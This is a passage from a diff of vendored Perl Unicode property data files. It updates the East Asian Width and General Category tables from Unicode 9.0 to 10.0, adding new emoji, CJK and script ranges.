 1F18E         ; W # So       NEGATIVE SQUARED AB
@@ -2187,6 +2227,7 @@
 1F210..1F23B  ; W # So  [44] SQUARED CJK UNIFIED IDEOGRAPH-624B..SQUARED CJK UNIFIED IDEOGRAPH-914D
 1F240..1F248  ; W # So   [9] TORTOISE SHELL BRACKETED CJK UNIFIED IDEOGRAPH-672C..TORTOISE SHELL BRACKETED CJK UNIFIED IDEOGRAPH-6557
 1F250..1F251  ; W # So   [2] CIRCLED IDEOGRAPH ADVANTAGE..CIRCLED IDEOGRAPH ACCEPT
+1F260..1F265  ; W # So   [6] ROUNDED SYMBOL FOR FU..ROUNDED SYMBOL FOR CAI
 1F300..1F320  ; W # So  [33] CYCLONE..SHOOTING STAR
 1F32D..1F335  ; W # So   [9] HOT DOG..CACTUS
 1F337..1F37C  ; W # So  [70] TULIP..BABY BOTTLE
@@ -2211,15 +2252,13 @@
 1F6CC         ; W # So       SLEEPING ACCOMMODATION
 1F6D0..1F6D2  ; W # So   [3] PLACE OF WORSHIP..SHOPPING TROLLEY
 1F6EB..1F6EC  ; W # So   [2] AIRPLANE DEPARTURE..AIRPLANE ARRIVING
-1F6F4..1F6F6  ; W # So   [3] SCOOTER..CANOE
-1F910..1F91E  ; W # So  [15] ZIPPER-MOUTH FACE..HAND WITH INDEX AND MIDDLE FINGERS CROSSED
-1F920..1F927  ; W # So   [8] FACE WITH COWBOY HAT..SNEEZING FACE
-1F930         ; W # So       PREGNANT WOMAN
-1F933..1F93E  ; W # So  [12] SELFIE..HANDBALL
-1F940..1F94B  ; W # So  [12] WILTED FLOWER..MARTIAL ARTS UNIFORM
-1F950..1F95E  ; W # So  [15] CROISSANT..PANCAKES
-1F980..1F991  ; W # So  [18] CRAB..SQUID
+1F6F4..1F6F8  ; W # So   [5] SCOOTER..FLYING SAUCER
+1F910..1F93E  ; W # So  [47] ZIPPER-MOUTH FACE..HANDBALL
+1F940..1F94C  ; W # So  [13] WILTED FLOWER..CURLING STONE
+1F950..1F96B  ; W # So  [28] CROISSANT..CANNED FOOD
+1F980..1F997  ; W # So  [24] CRAB..CRICKET
 1F9C0         ; W # So       CHEESE WEDGE
+1F9D0..1F9E6  ; W # So  [23] FACE WITH MONOCLE..SOCKS
 20000..2A6D6  ; W # Lo [42711] CJK UNIFIED IDEOGRAPH-20000..CJK UNIFIED IDEOGRAPH-2A6D6
 2A6D7..2A6FF  ; W # Cn  [41] <reserved-2A6D7>..<reserved-2A6FF>
 2A700..2B734  ; W # Lo [4149] CJK UNIFIED IDEOGRAPH-2A700..CJK UNIFIED IDEOGRAPH-2B734
@@ -2227,12 +2266,14 @@
 2B740..2B81D  ; W # Lo [222] CJK UNIFIED IDEOGRAPH-2B740..CJK UNIFIED IDEOGRAPH-2B81D
 2B81E..2B81F  ; W # Cn   [2] <reserved-2B81E>..<reserved-2B81F>
 2B820..2CEA1  ; W # Lo [5762] CJK UNIFIED IDEOGRAPH-2B820..CJK UNIFIED IDEOGRAPH-2CEA1
-2CEA2..2F7FF  ; W # Cn [10590] <reserved-2CEA2>..<reserved-2F7FF>
+2CEA2..2CEAF  ; W # Cn  [14] <reserved-2CEA2>..<reserved-2CEAF>
+2CEB0..2EBE0  ; W # Lo [7473] CJK UNIFIED IDEOGRAPH-2CEB0..CJK UNIFIED IDEOGRAPH-2EBE0
+2EBE1..2F7FF  ; W # Cn [3103] <reserved-2EBE1>..<reserved-2F7FF>
 2F800..2FA1D  ; W # Lo [542] CJK COMPATIBILITY IDEOGRAPH-2F800..CJK COMPATIBILITY IDEOGRAPH-2FA1D
 2FA1E..2FFFD  ; W # Cn [1504] <reserved-2FA1E>..<reserved-2FFFD>
 30000..3FFFD  ; W # Cn [65534] <reserved-30000>..<reserved-3FFFD>
 
-# Total code points: 180889
+# Total code points: 181634
 
 # ================================================
 

Modified: vendor/perl/dist/lib/unicore/extracted/DGeneralCategory.txt
===================================================================
--- vendor/perl/dist/lib/unicore/extracted/DGeneralCategory.txt	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/lib/unicore/extracted/DGeneralCategory.txt	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,6 +1,6 @@
-# DerivedGeneralCategory-9.0.0.txt
-# Date: 2016-06-01, 10:34:26 GMT
-# © 2016 Unicode®, Inc.
+# DerivedGeneralCategory-10.0.0.txt
+# Date: 2017-03-08, 08:41:49 GMT
+# © 2017 Unicode®, Inc.
 # Unicode and the Unicode Logo are registered trademarks of Unicode, Inc. in the U.S. and other countries.
 # For terms of use, see http://www.unicode.org/terms_of_use.html
 #
@@ -37,7 +37,8 @@
 082E..082F    ; Cn #   [2] <reserved-082E>..<reserved-082F>
 083F          ; Cn #       <reserved-083F>
 085C..085D    ; Cn #   [2] <reserved-085C>..<reserved-085D>
-085F..089F    ; Cn #  [65] <reserved-085F>..<reserved-089F>
+085F          ; Cn #       <reserved-085F>
+086B..089F    ; Cn #  [53] <reserved-086B>..<reserved-089F>
 08B5          ; Cn #       <reserved-08B5>
 08BE..08D3    ; Cn #  [22] <reserved-08BE>..<reserved-08D3>
 0984          ; Cn #       <reserved-0984>
@@ -53,7 +54,7 @@
 09D8..09DB    ; Cn #   [4] <reserved-09D8>..<reserved-09DB>
 09DE          ; Cn #       <reserved-09DE>
 09E4..09E5    ; Cn #   [2] <reserved-09E4>..<reserved-09E5>
-09FC..0A00    ; Cn #   [5] <reserved-09FC>..<reserved-0A00>
+09FE..0A00    ; Cn #   [3] <reserved-09FE>..<reserved-0A00>
 0A04          ; Cn #       <reserved-0A04>
 0A0B..0A0E    ; Cn #   [4] <reserved-0A0B>..<reserved-0A0E>
 0A11..0A12    ; Cn #   [2] <reserved-0A11>..<reserved-0A12>
@@ -83,7 +84,7 @@
 0AD1..0ADF    ; Cn #  [15] <reserved-0AD1>..<reserved-0ADF>
 0AE4..0AE5    ; Cn #   [2] <reserved-0AE4>..<reserved-0AE5>
 0AF2..0AF8    ; Cn #   [7] <reserved-0AF2>..<reserved-0AF8>
-0AFA..0B00    ; Cn #   [7] <reserved-0AFA>..<reserved-0B00>
+0B00          ; Cn #       <reserved-0B00>
 0B04          ; Cn #       <reserved-0B04>
 0B0D..0B0E    ; Cn #   [2] <reserved-0B0D>..<reserved-0B0E>
 0B11..0B12    ; Cn #   [2] <reserved-0B11>..<reserved-0B12>
@@ -139,11 +140,10 @@
 0CDF          ; Cn #       <reserved-0CDF>
 0CE4..0CE5    ; Cn #   [2] <reserved-0CE4>..<reserved-0CE5>
 0CF0          ; Cn #       <reserved-0CF0>
-0CF3..0D00    ; Cn #  [14] <reserved-0CF3>..<reserved-0D00>
+0CF3..0CFF    ; Cn #  [13] <reserved-0CF3>..<reserved-0CFF>
 0D04          ; Cn #       <reserved-0D04>
 0D0D          ; Cn #       <reserved-0D0D>
 0D11          ; Cn #       <reserved-0D11>
-0D3B..0D3C    ; Cn #   [2] <reserved-0D3B>..<reserved-0D3C>
 0D45          ; Cn #       <reserved-0D45>
 0D49          ; Cn #       <reserved-0D49>
 0D50..0D53    ; Cn #   [4] <reserved-0D50>..<reserved-0D53>
@@ -250,9 +250,8 @@
 1C4A..1C4C    ; Cn #   [3] <reserved-1C4A>..<reserved-1C4C>
 1C89..1CBF    ; Cn #  [55] <reserved-1C89>..<reserved-1CBF>
 1CC8..1CCF    ; Cn #   [8] <reserved-1CC8>..<reserved-1CCF>
-1CF7          ; Cn #       <reserved-1CF7>
 1CFA..1CFF    ; Cn #   [6] <reserved-1CFA>..<reserved-1CFF>
-1DF6..1DFA    ; Cn #   [5] <reserved-1DF6>..<reserved-1DFA>
+1DFA          ; Cn #       <reserved-1DFA>
 1F16..1F17    ; Cn #   [2] <reserved-1F16>..<reserved-1F17>
 1F1E..1F1F    ; Cn #   [2] <reserved-1F1E>..<reserved-1F1F>
 1F46..1F47    ; Cn #   [2] <reserved-1F46>..<reserved-1F47>
@@ -273,10 +272,9 @@
 2072..2073    ; Cn #   [2] <reserved-2072>..<reserved-2073>
 208F          ; Cn #       <reserved-208F>
 209D..209F    ; Cn #   [3] <reserved-209D>..<reserved-209F>
-20BF..20CF    ; Cn #  [17] <reserved-20BF>..<reserved-20CF>
+20C0..20CF    ; Cn #  [16] <reserved-20C0>..<reserved-20CF>
 20F1..20FF    ; Cn #  [15] <reserved-20F1>..<reserved-20FF>
 218C..218F    ; Cn #   [4] <reserved-218C>..<reserved-218F>
-23FF          ; Cn #       <reserved-23FF>
 2427..243F    ; Cn #  [25] <reserved-2427>..<reserved-243F>
 244B..245F    ; Cn #  [21] <reserved-244B>..<reserved-245F>
 2B74..2B75    ; Cn #   [2] <reserved-2B74>..<reserved-2B75>
@@ -283,7 +281,7 @@
 2B96..2B97    ; Cn #   [2] <reserved-2B96>..<reserved-2B97>
 2BBA..2BBC    ; Cn #   [3] <reserved-2BBA>..<reserved-2BBC>
 2BC9          ; Cn #       <reserved-2BC9>
-2BD2..2BEB    ; Cn #  [26] <reserved-2BD2>..<reserved-2BEB>
+2BD3..2BEB    ; Cn #  [25] <reserved-2BD3>..<reserved-2BEB>
 2BF0..2BFF    ; Cn #  [16] <reserved-2BF0>..<reserved-2BFF>
 2C2F          ; Cn #       <reserved-2C2F>
 2C5F          ; Cn #       <reserved-2C5F>
@@ -302,7 +300,7 @@
 2DCF          ; Cn #       <reserved-2DCF>
 2DD7          ; Cn #       <reserved-2DD7>
 2DDF          ; Cn #       <reserved-2DDF>
-2E45..2E7F    ; Cn #  [59] <reserved-2E45>..<reserved-2E7F>
+2E4A..2E7F    ; Cn #  [54] <reserved-2E4A>..<reserved-2E7F>
 2E9A          ; Cn #       <reserved-2E9A>
 2EF4..2EFF    ; Cn #  [12] <reserved-2EF4>..<reserved-2EFF>
 2FD6..2FEF    ; Cn #  [26] <reserved-2FD6>..<reserved-2FEF>
@@ -310,7 +308,7 @@
 3040          ; Cn #       <reserved-3040>
 3097..3098    ; Cn #   [2] <reserved-3097>..<reserved-3098>
 3100..3104    ; Cn #   [5] <reserved-3100>..<reserved-3104>
-312E..3130    ; Cn #   [3] <reserved-312E>..<reserved-3130>
+312F..3130    ; Cn #   [2] <reserved-312F>..<reserved-3130>
 318F          ; Cn #       <reserved-318F>
 31BB..31BF    ; Cn #   [5] <reserved-31BB>..<reserved-31BF>
 31E4..31EF    ; Cn #  [12] <reserved-31E4>..<reserved-31EF>
@@ -317,7 +315,7 @@
 321F          ; Cn #       <reserved-321F>
 32FF          ; Cn #       <reserved-32FF>
 4DB6..4DBF    ; Cn #  [10] <reserved-4DB6>..<reserved-4DBF>
-9FD6..9FFF    ; Cn #  [42] <reserved-9FD6>..<reserved-9FFF>
+9FEB..9FFF    ; Cn #  [21] <reserved-9FEB>..<reserved-9FFF>
 A48D..A48F    ; Cn #   [3] <reserved-A48D>..<reserved-A48F>
 A4C7..A4CF    ; Cn #   [9] <reserved-A4C7>..<reserved-A4CF>
 A62C..A63F    ; Cn #  [20] <reserved-A62C>..<reserved-A63F>
@@ -396,7 +394,7 @@
 1029D..1029F  ; Cn #   [3] <reserved-1029D>..<reserved-1029F>
 102D1..102DF  ; Cn #  [15] <reserved-102D1>..<reserved-102DF>
 102FC..102FF  ; Cn #   [4] <reserved-102FC>..<reserved-102FF>
-10324..1032F  ; Cn #  [12] <reserved-10324>..<reserved-1032F>
+10324..1032C  ; Cn #   [9] <reserved-10324>..<reserved-1032C>
 1034B..1034F  ; Cn #   [5] <reserved-1034B>..<reserved-1034F>
 1037B..1037F  ; Cn #   [5] <reserved-1037B>..<reserved-1037F>
 1039E         ; Cn #       <reserved-1039E>
@@ -500,7 +498,11 @@
 1172C..1172F  ; Cn #   [4] <reserved-1172C>..<reserved-1172F>
 11740..1189F  ; Cn # [352] <reserved-11740>..<reserved-1189F>
 118F3..118FE  ; Cn #  [12] <reserved-118F3>..<reserved-118FE>
-11900..11ABF  ; Cn # [448] <reserved-11900>..<reserved-11ABF>
+11900..119FF  ; Cn # [256] <reserved-11900>..<reserved-119FF>
+11A48..11A4F  ; Cn #   [8] <reserved-11A48>..<reserved-11A4F>
+11A84..11A85  ; Cn #   [2] <reserved-11A84>..<reserved-11A85>
+11A9D         ; Cn #       <reserved-11A9D>
+11AA3..11ABF  ; Cn #  [29] <reserved-11AA3>..<reserved-11ABF>
 11AF9..11BFF  ; Cn # [263] <reserved-11AF9>..<reserved-11BFF>
 11C09         ; Cn #       <reserved-11C09>
 11C37         ; Cn #       <reserved-11C37>
@@ -508,7 +510,14 @@
 11C6D..11C6F  ; Cn #   [3] <reserved-11C6D>..<reserved-11C6F>
 11C90..11C91  ; Cn #   [2] <reserved-11C90>..<reserved-11C91>
 11CA8         ; Cn #       <reserved-11CA8>
-11CB7..11FFF  ; Cn # [841] <reserved-11CB7>..<reserved-11FFF>
+11CB7..11CFF  ; Cn #  [73] <reserved-11CB7>..<reserved-11CFF>
+11D07         ; Cn #       <reserved-11D07>
+11D0A         ; Cn #       <reserved-11D0A>
+11D37..11D39  ; Cn #   [3] <reserved-11D37>..<reserved-11D39>
+11D3B         ; Cn #       <reserved-11D3B>
+11D3E         ; Cn #       <reserved-11D3E>
+11D48..11D4F  ; Cn #   [8] <reserved-11D48>..<reserved-11D4F>
+11D5A..11FFF  ; Cn # [678] <reserved-11D5A>..<reserved-11FFF>
 1239A..123FF  ; Cn # [102] <reserved-1239A>..<reserved-123FF>
 1246F         ; Cn #       <reserved-1246F>
 12475..1247F  ; Cn #  [11] <reserved-12475>..<reserved-1247F>
@@ -529,10 +538,11 @@
 16F45..16F4F  ; Cn #  [11] <reserved-16F45>..<reserved-16F4F>
 16F7F..16F8E  ; Cn #  [16] <reserved-16F7F>..<reserved-16F8E>
 16FA0..16FDF  ; Cn #  [64] <reserved-16FA0>..<reserved-16FDF>
-16FE1..16FFF  ; Cn #  [31] <reserved-16FE1>..<reserved-16FFF>
+16FE2..16FFF  ; Cn #  [30] <reserved-16FE2>..<reserved-16FFF>
 187ED..187FF  ; Cn #  [19] <reserved-187ED>..<reserved-187FF>
 18AF3..1AFFF  ; Cn # [9485] <reserved-18AF3>..<reserved-1AFFF>
-1B002..1BBFF  ; Cn # [3070] <reserved-1B002>..<reserved-1BBFF>
+1B11F..1B16F  ; Cn #  [81] <reserved-1B11F>..<reserved-1B16F>
+1B2FC..1BBFF  ; Cn # [2308] <reserved-1B2FC>..<reserved-1BBFF>
 1BC6B..1BC6F  ; Cn #   [5] <reserved-1BC6B>..<reserved-1BC6F>
 1BC7D..1BC7F  ; Cn #   [3] <reserved-1BC7D>..<reserved-1BC7F>
 1BC89..1BC8F  ; Cn #   [7] <reserved-1BC89>..<reserved-1BC8F>
@@ -624,10 +634,11 @@
 1F203..1F20F  ; Cn #  [13] <reserved-1F203>..<reserved-1F20F>
 1F23C..1F23F  ; Cn #   [4] <reserved-1F23C>..<reserved-1F23F>
 1F249..1F24F  ; Cn #   [7] <reserved-1F249>..<reserved-1F24F>
-1F252..1F2FF  ; Cn # [174] <reserved-1F252>..<reserved-1F2FF>
-1F6D3..1F6DF  ; Cn #  [13] <reserved-1F6D3>..<reserved-1F6DF>
+1F252..1F25F  ; Cn #  [14] <reserved-1F252>..<reserved-1F25F>
+1F266..1F2FF  ; Cn # [154] <reserved-1F266>..<reserved-1F2FF>
+1F6D5..1F6DF  ; Cn #  [11] <reserved-1F6D5>..<reserved-1F6DF>
 1F6ED..1F6EF  ; Cn #   [3] <reserved-1F6ED>..<reserved-1F6EF>
-1F6F7..1F6FF  ; Cn #   [9] <reserved-1F6F7>..<reserved-1F6FF>
+1F6F9..1F6FF  ; Cn #   [7] <reserved-1F6F9>..<reserved-1F6FF>
 1F774..1F77F  ; Cn #  [12] <reserved-1F774>..<reserved-1F77F>
 1F7D5..1F7FF  ; Cn #  [43] <reserved-1F7D5>..<reserved-1F7FF>
 1F80C..1F80F  ; Cn #   [4] <reserved-1F80C>..<reserved-1F80F>
@@ -634,19 +645,19 @@
 1F848..1F84F  ; Cn #   [8] <reserved-1F848>..<reserved-1F84F>
 1F85A..1F85F  ; Cn #   [6] <reserved-1F85A>..<reserved-1F85F>
 1F888..1F88F  ; Cn #   [8] <reserved-1F888>..<reserved-1F88F>
-1F8AE..1F90F  ; Cn #  [98] <reserved-1F8AE>..<reserved-1F90F>
-1F91F         ; Cn #       <reserved-1F91F>
-1F928..1F92F  ; Cn #   [8] <reserved-1F928>..<reserved-1F92F>
-1F931..1F932  ; Cn #   [2] <reserved-1F931>..<reserved-1F932>
+1F8AE..1F8FF  ; Cn #  [82] <reserved-1F8AE>..<reserved-1F8FF>
+1F90C..1F90F  ; Cn #   [4] <reserved-1F90C>..<reserved-1F90F>
 1F93F         ; Cn #       <reserved-1F93F>
-1F94C..1F94F  ; Cn #   [4] <reserved-1F94C>..<reserved-1F94F>
-1F95F..1F97F  ; Cn #  [33] <reserved-1F95F>..<reserved-1F97F>
-1F992..1F9BF  ; Cn #  [46] <reserved-1F992>..<reserved-1F9BF>
-1F9C1..1FFFF  ; Cn # [1599] <reserved-1F9C1>..<noncharacter-1FFFF>
+1F94D..1F94F  ; Cn #   [3] <reserved-1F94D>..<reserved-1F94F>
+1F96C..1F97F  ; Cn #  [20] <reserved-1F96C>..<reserved-1F97F>
+1F998..1F9BF  ; Cn #  [40] <reserved-1F998>..<reserved-1F9BF>
+1F9C1..1F9CF  ; Cn #  [15] <reserved-1F9C1>..<reserved-1F9CF>
+1F9E7..1FFFF  ; Cn # [1561] <reserved-1F9E7>..<noncharacter-1FFFF>
 2A6D7..2A6FF  ; Cn #  [41] <reserved-2A6D7>..<reserved-2A6FF>
 2B735..2B73F  ; Cn #  [11] <reserved-2B735>..<reserved-2B73F>
 2B81E..2B81F  ; Cn #   [2] <reserved-2B81E>..<reserved-2B81F>
-2CEA2..2F7FF  ; Cn # [10590] <reserved-2CEA2>..<reserved-2F7FF>
+2CEA2..2CEAF  ; Cn #  [14] <reserved-2CEA2>..<reserved-2CEAF>
+2EBE1..2F7FF  ; Cn # [3103] <reserved-2EBE1>..<reserved-2F7FF>
 2FA1E..E0000  ; Cn # [722403] <reserved-2FA1E>..<reserved-E0000>
 E0002..E001F  ; Cn #  [30] <reserved-E0002>..<reserved-E001F>
 E0080..E00FF  ; Cn # [128] <reserved-E0080>..<reserved-E00FF>
@@ -654,7 +665,7 @@
 FFFFE..FFFFF  ; Cn #   [2] <noncharacter-FFFFE>..<noncharacter-FFFFF>
 10FFFE..10FFFF; Cn #   [2] <noncharacter-10FFFE>..<noncharacter-10FFFF>
 
-# Total code points: 846359
+# Total code points: 837841
 
 # ================================================
 
@@ -2007,9 +2018,9 @@
 FF9E..FF9F    ; Lm #   [2] HALFWIDTH KATAKANA VOICED SOUND MARK..HALFWIDTH KATAKANA SEMI-VOICED SOUND MARK
 16B40..16B43  ; Lm #   [4] PAHAWH HMONG SIGN VOS SEEV..PAHAWH HMONG SIGN IB YAM
 16F93..16F9F  ; Lm #  [13] MIAO LETTER TONE-2..MIAO LETTER REFORMED TONE-8
-16FE0         ; Lm #       TANGUT ITERATION MARK
+16FE0..16FE1  ; Lm #   [2] TANGUT ITERATION MARK..NUSHU ITERATION MARK
 
-# Total code points: 249
+# Total code points: 250
 
 # ================================================
 
@@ -2037,6 +2048,7 @@
 07CA..07EA    ; Lo #  [33] NKO LETTER A..NKO LETTER JONA RA
 0800..0815    ; Lo #  [22] SAMARITAN LETTER ALAF..SAMARITAN LETTER TAAF
 0840..0858    ; Lo #  [25] MANDAIC LETTER HALQA..MANDAIC LETTER AIN
+0860..086A    ; Lo #  [11] SYRIAC LETTER MALAYALAM NGA..SYRIAC LETTER MALAYALAM SSA
 08A0..08B4    ; Lo #  [21] ARABIC LETTER BEH WITH SMALL V BELOW..ARABIC LETTER KAF WITH DOT BELOW
 08B6..08BD    ; Lo #   [8] ARABIC LETTER BEH WITH SMALL MEEM ABOVE..ARABIC LETTER AFRICAN NOON
 0904..0939    ; Lo #  [54] DEVANAGARI LETTER SHORT A..DEVANAGARI LETTER HA
@@ -2055,6 +2067,7 @@
 09DC..09DD    ; Lo #   [2] BENGALI LETTER RRA..BENGALI LETTER RHA
 09DF..09E1    ; Lo #   [3] BENGALI LETTER YYA..BENGALI LETTER VOCALIC LL
 09F0..09F1    ; Lo #   [2] BENGALI LETTER RA WITH MIDDLE DIAGONAL..BENGALI LETTER RA WITH LOWER DIAGONAL
+09FC          ; Lo #       BENGALI LETTER VEDIC ANUSVARA
 0A05..0A0A    ; Lo #   [6] GURMUKHI LETTER A..GURMUKHI LETTER UU
 0A0F..0A10    ; Lo #   [2] GURMUKHI LETTER EE..GURMUKHI LETTER AI
 0A13..0A28    ; Lo #  [22] GURMUKHI LETTER OO..GURMUKHI LETTER NA
@@ -2230,12 +2243,12 @@
 309F          ; Lo #       HIRAGANA DIGRAPH YORI
 30A1..30FA    ; Lo #  [90] KATAKANA LETTER SMALL A..KATAKANA LETTER VO
 30FF          ; Lo #       KATAKANA DIGRAPH KOTO
-3105..312D    ; Lo #  [41] BOPOMOFO LETTER B..BOPOMOFO LETTER IH
+3105..312E    ; Lo #  [42] BOPOMOFO LETTER B..BOPOMOFO LETTER O WITH DOT ABOVE
 3131..318E    ; Lo #  [94] HANGUL LETTER KIYEOK..HANGUL LETTER ARAEAE
 31A0..31BA    ; Lo #  [27] BOPOMOFO LETTER BU..BOPOMOFO LETTER ZY
 31F0..31FF    ; Lo #  [16] KATAKANA LETTER SMALL KU..KATAKANA LETTER SMALL RO
 3400..4DB5    ; Lo # [6582] CJK UNIFIED IDEOGRAPH-3400..CJK UNIFIED IDEOGRAPH-4DB5
-4E00..9FD5    ; Lo # [20950] CJK UNIFIED IDEOGRAPH-4E00..CJK UNIFIED IDEOGRAPH-9FD5
+4E00..9FEA    ; Lo # [20971] CJK UNIFIED IDEOGRAPH-4E00..CJK UNIFIED IDEOGRAPH-9FEA
 A000..A014    ; Lo #  [21] YI SYLLABLE IT..YI SYLLABLE E
 A016..A48C    ; Lo # [1143] YI SYLLABLE BIT..YI SYLLABLE YYR
 A4D0..A4F7    ; Lo #  [40] LISU LETTER BA..LISU LETTER OE
@@ -2319,7 +2332,7 @@
 10280..1029C  ; Lo #  [29] LYCIAN LETTER A..LYCIAN LETTER X
 102A0..102D0  ; Lo #  [49] CARIAN LETTER A..CARIAN LETTER UUU3
 10300..1031F  ; Lo #  [32] OLD ITALIC LETTER A..OLD ITALIC LETTER ESS
-10330..10340  ; Lo #  [17] GOTHIC LETTER AHSA..GOTHIC LETTER PAIRTHRA
+1032D..10340  ; Lo #  [20] OLD ITALIC LETTER YE..GOTHIC LETTER PAIRTHRA
 10342..10349  ; Lo #   [8] GOTHIC LETTER RAIDA..GOTHIC LETTER OTHAL
 10350..10375  ; Lo #  [38] OLD PERMIC LETTER AN..OLD PERMIC LETTER IA
 10380..1039D  ; Lo #  [30] UGARITIC LETTER ALPA..UGARITIC LETTER SSU
@@ -2397,11 +2410,21 @@
 11680..116AA  ; Lo #  [43] TAKRI LETTER A..TAKRI LETTER RRA
 11700..11719  ; Lo #  [26] AHOM LETTER KA..AHOM LETTER JHA
 118FF         ; Lo #       WARANG CITI OM
+11A00         ; Lo #       ZANABAZAR SQUARE LETTER A
+11A0B..11A32  ; Lo #  [40] ZANABAZAR SQUARE LETTER KA..ZANABAZAR SQUARE LETTER KSSA
+11A3A         ; Lo #       ZANABAZAR SQUARE CLUSTER-INITIAL LETTER RA
+11A50         ; Lo #       SOYOMBO LETTER A
+11A5C..11A83  ; Lo #  [40] SOYOMBO LETTER KA..SOYOMBO LETTER KSSA
+11A86..11A89  ; Lo #   [4] SOYOMBO CLUSTER-INITIAL LETTER RA..SOYOMBO CLUSTER-INITIAL LETTER SA
 11AC0..11AF8  ; Lo #  [57] PAU CIN HAU LETTER PA..PAU CIN HAU GLOTTAL STOP FINAL
 11C00..11C08  ; Lo #   [9] BHAIKSUKI LETTER A..BHAIKSUKI LETTER VOCALIC L
 11C0A..11C2E  ; Lo #  [37] BHAIKSUKI LETTER E..BHAIKSUKI LETTER HA
 11C40         ; Lo #       BHAIKSUKI SIGN AVAGRAHA
 11C72..11C8F  ; Lo #  [30] MARCHEN LETTER KA..MARCHEN LETTER A
+11D00..11D06  ; Lo #   [7] MASARAM GONDI LETTER A..MASARAM GONDI LETTER E
+11D08..11D09  ; Lo #   [2] MASARAM GONDI LETTER AI..MASARAM GONDI LETTER O
+11D0B..11D30  ; Lo #  [38] MASARAM GONDI LETTER AU..MASARAM GONDI LETTER TRA
+11D46         ; Lo #       MASARAM GONDI REPHA
 12000..12399  ; Lo # [922] CUNEIFORM SIGN A..CUNEIFORM SIGN U U
 12480..12543  ; Lo # [196] CUNEIFORM SIGN AB TIMES NUN TENU..CUNEIFORM SIGN ZU5 TIMES THREE DISH TENU
 13000..1342E  ; Lo # [1071] EGYPTIAN HIEROGLYPH A001..EGYPTIAN HIEROGLYPH AA032
@@ -2416,7 +2439,8 @@
 16F50         ; Lo #       MIAO LETTER NASALIZATION
 17000..187EC  ; Lo # [6125] TANGUT IDEOGRAPH-17000..TANGUT IDEOGRAPH-187EC
 18800..18AF2  ; Lo # [755] TANGUT COMPONENT-001..TANGUT COMPONENT-755
-1B000..1B001  ; Lo #   [2] KATAKANA LETTER ARCHAIC E..HIRAGANA LETTER ARCHAIC YE
+1B000..1B11E  ; Lo # [287] KATAKANA LETTER ARCHAIC E..HENTAIGANA LETTER N-MU-MO-2
+1B170..1B2FB  ; Lo # [396] NUSHU CHARACTER-1B170..NUSHU CHARACTER-1B2FB
 1BC00..1BC6A  ; Lo # [107] DUPLOYAN LETTER H..DUPLOYAN LETTER VOCALIC M
 1BC70..1BC7C  ; Lo #  [13] DUPLOYAN AFFIX LEFT HORIZONTAL SECANT..DUPLOYAN AFFIX ATTACHED TANGENT HOOK
 1BC80..1BC88  ; Lo #   [9] DUPLOYAN AFFIX HIGH ACUTE..DUPLOYAN AFFIX HIGH VERTICAL
@@ -2459,9 +2483,10 @@
 2A700..2B734  ; Lo # [4149] CJK UNIFIED IDEOGRAPH-2A700..CJK UNIFIED IDEOGRAPH-2B734
 2B740..2B81D  ; Lo # [222] CJK UNIFIED IDEOGRAPH-2B740..CJK UNIFIED IDEOGRAPH-2B81D
 2B820..2CEA1  ; Lo # [5762] CJK UNIFIED IDEOGRAPH-2B820..CJK UNIFIED IDEOGRAPH-2CEA1
+2CEB0..2EBE0  ; Lo # [7473] CJK UNIFIED IDEOGRAPH-2CEB0..CJK UNIFIED IDEOGRAPH-2EBE0
 2F800..2FA1D  ; Lo # [542] CJK COMPATIBILITY IDEOGRAPH-2F800..CJK COMPATIBILITY IDEOGRAPH-2FA1D
 
-# Total code points: 112721
+# Total code points: 121047
 
 # ================================================
 
@@ -2517,6 +2542,7 @@
 0AC7..0AC8    ; Mn #   [2] GUJARATI VOWEL SIGN E..GUJARATI VOWEL SIGN AI
 0ACD          ; Mn #       GUJARATI SIGN VIRAMA
 0AE2..0AE3    ; Mn #   [2] GUJARATI VOWEL SIGN VOCALIC L..GUJARATI VOWEL SIGN VOCALIC LL
+0AFA..0AFF    ; Mn #   [6] GUJARATI SIGN SUKUN..GUJARATI SIGN TWO-CIRCLE NUKTA ABOVE
 0B01          ; Mn #       ORIYA SIGN CANDRABINDU
 0B3C          ; Mn #       ORIYA SIGN NUKTA
 0B3F          ; Mn #       ORIYA VOWEL SIGN I
@@ -2539,7 +2565,8 @@
 0CC6          ; Mn #       KANNADA VOWEL SIGN E
 0CCC..0CCD    ; Mn #   [2] KANNADA VOWEL SIGN AU..KANNADA SIGN VIRAMA
 0CE2..0CE3    ; Mn #   [2] KANNADA VOWEL SIGN VOCALIC L..KANNADA VOWEL SIGN VOCALIC LL
-0D01          ; Mn #       MALAYALAM SIGN CANDRABINDU
+0D00..0D01    ; Mn #   [2] MALAYALAM SIGN COMBINING ANUSVARA ABOVE..MALAYALAM SIGN CANDRABINDU
+0D3B..0D3C    ; Mn #   [2] MALAYALAM SIGN VERTICAL BAR VIRAMA..MALAYALAM SIGN CIRCULAR VIRAMA
 0D41..0D44    ; Mn #   [4] MALAYALAM VOWEL SIGN U..MALAYALAM VOWEL SIGN VOCALIC RR
 0D4D          ; Mn #       MALAYALAM SIGN VIRAMA
 0D62..0D63    ; Mn #   [2] MALAYALAM VOWEL SIGN VOCALIC L..MALAYALAM VOWEL SIGN VOCALIC LL
@@ -2623,7 +2650,7 @@
 1CED          ; Mn #       VEDIC SIGN TIRYAK
 1CF4          ; Mn #       VEDIC TONE CANDRA ABOVE
 1CF8..1CF9    ; Mn #   [2] VEDIC TONE RING ABOVE..VEDIC TONE DOUBLE RING ABOVE
-1DC0..1DF5    ; Mn #  [54] COMBINING DOTTED GRAVE ACCENT..COMBINING UP TACK ABOVE
+1DC0..1DF9    ; Mn #  [58] COMBINING DOTTED GRAVE ACCENT..COMBINING WIDE INVERTED BRIDGE BELOW
 1DFB..1DFF    ; Mn #   [5] COMBINING DELETION MARK..COMBINING RIGHT ARROWHEAD AND DOWN ARROWHEAD BELOW
 20D0..20DC    ; Mn #  [13] COMBINING LEFT HARPOON ABOVE..COMBINING FOUR DOTS ABOVE
 20E1          ; Mn #       COMBINING LEFT RIGHT ARROW ABOVE
@@ -2722,6 +2749,15 @@
 1171D..1171F  ; Mn #   [3] AHOM CONSONANT SIGN MEDIAL LA..AHOM CONSONANT SIGN MEDIAL LIGATING RA
 11722..11725  ; Mn #   [4] AHOM VOWEL SIGN I..AHOM VOWEL SIGN UU
 11727..1172B  ; Mn #   [5] AHOM VOWEL SIGN AW..AHOM SIGN KILLER
+11A01..11A06  ; Mn #   [6] ZANABAZAR SQUARE VOWEL SIGN I..ZANABAZAR SQUARE VOWEL SIGN O
